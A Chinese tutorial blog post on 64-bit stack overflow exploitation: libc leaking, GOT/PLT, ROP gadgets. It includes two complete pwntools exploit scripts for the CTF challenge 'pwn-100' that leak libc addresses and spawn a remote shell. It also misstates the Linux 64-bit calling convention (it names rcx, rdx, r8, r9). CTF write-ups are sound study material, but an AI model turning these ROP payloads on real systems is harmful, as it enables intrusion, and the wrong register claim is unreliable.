什么是gadget,以及64位libc如何泄露的问题

4 篇文章 1 订阅
1 篇文章 0 订阅

最近开始学PWN,本以为栈溢出也就那些东西,看来是我少虑了…
在这里对这几天所学习的64位栈溢出泄露Libc的相关知识做一个小总结,当然,如果可以帮助到在读文章的你就更好啦。如果文中有错误,也希望各位大佬予以斧正。

什么是LIbc?

这个就是libc
在这里插入图片描述
这是一个动态链接文件

那么什么是动态链接和静态链接?

可以理解为:
静态链接:在程序编译的过程中,就预先把代码加载进程序中

//比如大家都经常写的,就是包含了静态链接库
#include<stdio.h>

存放在/usr/include/stdio.h

动态链接:在程序运行的时候,才会去寻找库文件,取出里面的代码放进内存运行(平常运行Windows时会弹出的找不到 ***.dll文件,就是动态链接)

为什么要泄露动态链接库的内容?

在平常做PWN的时候,劫持EIP要指向程序中我们想要执行的函数(例如基础题中的system(“/bin/sh”)等)的地址,会遇到程序中既没有system函数,也没有/bin/sh字符串的情况,而libc.so文件中是有system函数和这个字符串的,可由于程序运行在客户端,且这些函数是动态加载进内存的,这部分每次运行代码所在的内存地址都不一定相同,因此拖进IDA是解决不了问题的。
这时一般就会需要使用泄露libc中system的地址。关于动态链接等知识博客有不少大佬讲的非常详细,此处仅仅介绍此次需要的知识。
这里注意以下几点

  • libc.so中的代码映射进内存后的结构是不变的:例如函数func1,func2,func3
假设在文件中的地址是0x40030,0x40060,0x40090的相对位置是不变的,
但是加载进内存后会加一个基地址,
此时的三个函数地址可能变为0x40130,0x40160,0x40190,
每一个函数的地址都加了一个基地址0x00100
  • 根据系统的版本不同,系统中所使用的libc的版本也会有所差别。
可依靠工具,如LibSearch或者DynELF根据泄露的函数地址
寻找对应的Libc版本和system函数在libc中的位置(下面会讲到)

什么是GOT和PLT表?

使用动态调试的时候,各位一定见过这个符号
在这里插入图片描述
话说call puts后面为什么要添加一个@呢?
与此对比,内部函数则没有:
在这里插入图片描述

全称如下:
GOT(Global Offset Table)全局偏移表
PLT(Procedure Linkage Table)程序链接表

网上许多博客大佬们的文章解释的非常详细,在此仅讲述打PWN所用到的部分

我们需要用到的知识有以下几点:

  • PLT和GOT表的作用是进行函数的重定向
  • PLT与GOT是一种映射的关系。PLT中存储的是GOT的地址,而GOT存储的是此函数的真正地址,一次在调用函数时要访问plt表,根据plt表的索引找到got表,再根据got表找到函数的真正地址。
例如read函数
plt['read']->GOT['read'].address
GOT['read']->read.address
由此可知,当我们使用指令 call [rbp] 时,rbp存储的应该是plt['read']
		而我们使用指令 call rbp时,rbp储存的应该是GOT['read']
		不懂为什么的同学自己补一下汇编语言(`・ω・´)

64位和32位程序在函数传参方面的不同

  • 32位程序优先使用栈来传递参数(如__cdecl和__stdcall),参数从右往左压入栈,然后执行call指令进行跳转到函数位置。
  • 64位程序优先使用寄存器来进行存储参数,通常情况下, 前4个参数分别是 rcx rdx r8 r9从左到右放入寄存器进行传参,多余的参数通过栈传参。 PS:64位程序中rbp不当做栈底指针,当做通用寄存器。
因此在传参方面决定了我们在使用栈溢出时,必须要使用gadget进行传参

gadget

由上文的解释,对64位程序进行溢出时不能再使用32位的方法,单纯的将参数压入栈即可,不放进寄存器直接执行函数显然不能达到目的,因此就需要一段代码,帮助我们把自己的参数放进寄存器后再进入函数,这段代码就是gadget。

寻找方法

安装了pwntools后,执行如下命令即可(此处以攻防世界的"pwn-100"为例):
	ROPgadget --binary ./pwn-100 --only "pop|ret"

执行结果如下:
在这里插入图片描述根据地址在IDA中查找对应的指令:
在这里插入图片描述

0x40075c到0x400764:刚好满足了我们传参的要求,将当前栈中的内容弹出传入寄存器中,我们只需要根据其执行顺序,构造栈中的内容即可控制寄存器。结尾有retn,这个指令的意思是弹出当前栈顶的值,并转移到这个值所标识的地址,也就是说我们也可以控制下一步的走向。
0x400740到0x400749:将寄存器中的值当做参数传给rdx,rsi,edi,然后以r12的指向的值作为地址进行跳转,其中的r13~r15以及rbx均可在上一段代码中控制。
简直是溢出专用代码,岂不美哉!!

  • 此处要注意一点,根据你所调用的函数的参数个数选择溢出后的第一个地址;若想劫持到只有一个参数的函数,比如put,跳转到0x400762即可,也就是pop r15,传递一个参数足以,与其对应的,retn跳转则需要跳转到0x400746足以。

例题 攻防世界 pwn-100

进入存在漏洞的函数
在这里插入图片描述
在这里插入图片描述
函数实现不断读取输入进内存,然而传入的v1的内存大小只有0x40(不明白的同学看下图,并顺便补一下汇编指令 ),而读取的内容有200,显然可以进行栈溢出。
在这里插入图片描述
这里选择泄露read函数的地址(当然你选择泄露别的库函数我也管不了

#coding:utf8
#用于基础的64位ROP链的构造
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',39050)
#p=process('./pwn-100')
#由于使用Kali的原因,本地打不了,应当换成Ubuntu
elf=ELF('./pwn-100')
#加载本地文件
rop1=0x0400763
#找到的gadget,使用命令:ROPgadget --binary ./pwn-100 --only "pop|ret" 
#寻找到可以传参的代码段
mainaddr=0x04006B8
#主函数地址,由于内存地址动态变化,一会儿要回到主函数继续本次执行

payload=0x48*'a'+p64(rop1)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(mainaddr)
#构造payload junk gadget   r15                  retn                 retn               
payload=payload.ljust(200,'\x00')
#补全数据,使第一次程序运行完整
p.send(payload)
p.recvuntil('bye~\n')
#此处第一次main函数运行完成
s=u64(p.recv().replace('\n','').ljust(8,'\x00'))
#获得泄露的地址,由于调用puts函数,返回的值里面会追加一个'\n',这里手动去掉,ljust用于补全位为八位
#继续运行获取payload构造的puts函数的输出
obj=LibcSearcher("read",s)
#根据泄露的地址获得对应的Libc版本
libcbase=s-obj.dump('read')
#获取对应版本中的read的文件偏移地址,并计算出本次加载进内存后的偏移量
system_addr=libcbase+obj.dump('system')
#获取程序中system的地址
binsh_addr=libcbase+obj.dump('str_bin_sh')
#获取程序中的'/bin/sh'的地址
payload2='a'*0x048+p64(rop1)+p64(binsh_addr)+p64(system_addr)#+'a'*(0xC8-0x48-24)
#故技重施,这次开始真正的获取system函数
payload2=payload2.ljust(200,'a')
p.send(payload2)
p.interactive()

此题的解法不唯一,/bin/sh字符串也可以调用read函数写进内存中,供以后调用
**使用gdb查看内存:**使用指令vmmap
在这里插入图片描述
找到一块具有写权限的内存地址

#coding:utf8
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',39050)
#p=process('./pwn-100')
elf=ELF('./pwn-100')
read_got=elf.got['read']
puts_plt=elf.plt['puts']
write_bin_rop_1 = 0x40075A
write_bin_rop_2 = 0x400740
rop_edi=0x0400763
start_addr=0x0400550
payload='a'*0x48+p64(rop_edi)+p64(read_got)+p64(puts_plt)+p64(start_addr)
payload=payload.ljust(200,'\x00')
p.send(payload)
p.recvuntil('bye~\n')
read_addr=u64(p.recv().replace('\n','').ljust(8,'\x00'))
#read_addr=u64(p.recv().split('\n')[0].ljust(8,'\x00'))
#read_addr=u64(p.recv().ljust(8,'\x00'))
obj=LibcSearcher('read',read_addr)
base=read_addr-obj.dump('read')
System_addr=base+obj.dump('system')
# Binsh_addr=base+obj.dump('str_bin_sh')
Bin_addr=0x601000
payload3='a'*0x48+p64(write_bin_rop_1)+p64(0)+p64(1)+p64(elf.got['read'])+p64(8)+p64(Bin_addr)+p64(1)+p64(write_bin_rop_2)+'a'*56+p64(start_addr)
payload3=payload3.ljust(200,'a')
p.send(payload3)
p.recvuntil('bye~\n')
p.send('/bin/sh\x00')
payload4='a'*0x48+p64(rop_edi)+p64(Bin_addr)+p64(System_addr)
payload4=payload4.ljust(200,'a')
p.send(payload4)
p.interactive()
  • 12
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值